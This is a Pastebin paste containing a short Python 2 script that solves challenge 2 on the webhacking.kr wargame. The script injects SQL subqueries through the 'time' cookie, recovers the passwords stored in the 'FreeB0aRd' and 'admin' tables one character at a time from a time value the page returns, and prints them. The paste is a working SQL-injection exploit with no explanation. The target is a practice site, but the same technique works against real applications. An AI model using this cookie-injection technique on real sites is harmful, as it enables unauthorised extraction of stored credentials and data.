hdarwin

webhacking.kr_2

Dec 26th, 2012
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.89 KB | None | 0 0
  1. import urllib2, re
  2. p = re.compile("<!--.*-->")
  3. session = ""
  4. url = "http://webhacking.kr/challenge/web/web-02/index.php"
  5. l1 = []
  6. l2 = []
  7. for x in xrange(20):
  8.     cookie = "time=ord(substr((select password from FreeB0aRd),"+str(x+1)+",1));PHPSESSID=" + session
  9.     req = urllib2.Request(url)
  10.     req.add_header("Cookie", "PHPSESSID="+cookie)
  11.     s = p.findall(urllib2.urlopen(req).read())[0][18:23].split(":")
  12.     if chr(int(s[0], 10) * 60 + int(s[1], 10)) == "\x00":break
  13.     l1.append(chr(int(s[0], 10) * 60 + int(s[1], 10)))
  14.  
  15. for x in xrange(10):
  16.     cookie = "time=ord(substr((select password from admin),"+str(x+1)+",1));PHPSESSID=" + session
  17.     req = urllib2.Request(url)
  18.     req.add_header("Cookie", "PHPSESSID="+cookie)
  19.     s = p.findall(urllib2.urlopen(req).read())[0][18:23].split(":")
  20.     l2.append(chr(int(s[0], 10) * 60 + int(s[1], 10)))
  21.  
  22. print ''.join(l1)
  23. print ''.join(l2)
Add Comment
Please, Sign In to add comment